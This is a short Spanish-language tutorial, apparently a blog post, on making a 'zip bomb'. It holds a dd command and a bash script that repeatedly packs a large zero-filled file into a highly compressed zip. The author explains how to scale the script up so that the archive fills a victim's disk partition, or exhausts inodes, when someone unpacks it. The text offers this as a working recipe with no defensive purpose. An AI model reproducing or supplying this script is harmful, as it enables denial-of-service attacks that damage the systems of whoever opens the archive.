Las bombas zip en realidad pueden crearse en archivos tar.gz, rar, gz, lha, … . Se llaman bombas zip pero el formato podría ser cualquier otro.
Con dd podemos crear por ejemplo un archivo de 10 Mb así:
$ dd if=/dev/zero of=archivo.txt bs=1M count=10 status=none ; du -h archivo.txt
Eso generará un archivo llamado archivo.txt de 10 Mb.
En su interior el contenido son solamente ceros. Se puede ver así:
$ xxd -p archivo.txt
Ahora vamos a usar zip en un sencillo script en bash para crear una bomba
#!/bin/bash
dd if=/dev/zero of=archivo1.txt bs=1M count=100 status=none
for i in `seq 1 10`
do
let x=i+1
mv "archivo$i.txt" "archivo$x.txt"
zip -9 bomba.zip "archivo$x.txt"
done
Si se quiere más y más grande se cambia seq 1 10 por por ejemplo seq 1 9999 pero tardará más.
El zip resultante ocupará muy poco pero si alguien lo descomprime tendrá 10 archivos de 100Mb . Jugando con el archivo inicial que creamos con dd (generando archivos de 1G por ejemplo) podemos rápidamente llenar particiones si alguien descomprime el zip resultante.
La bomba puede explotar en tamaño pero podría también explotar en número de archivos, es decir, tener tantos archivos pequeños que al descomprimir nos quedemos sin inodes.
Y eso es todo.
Saludos cordiales.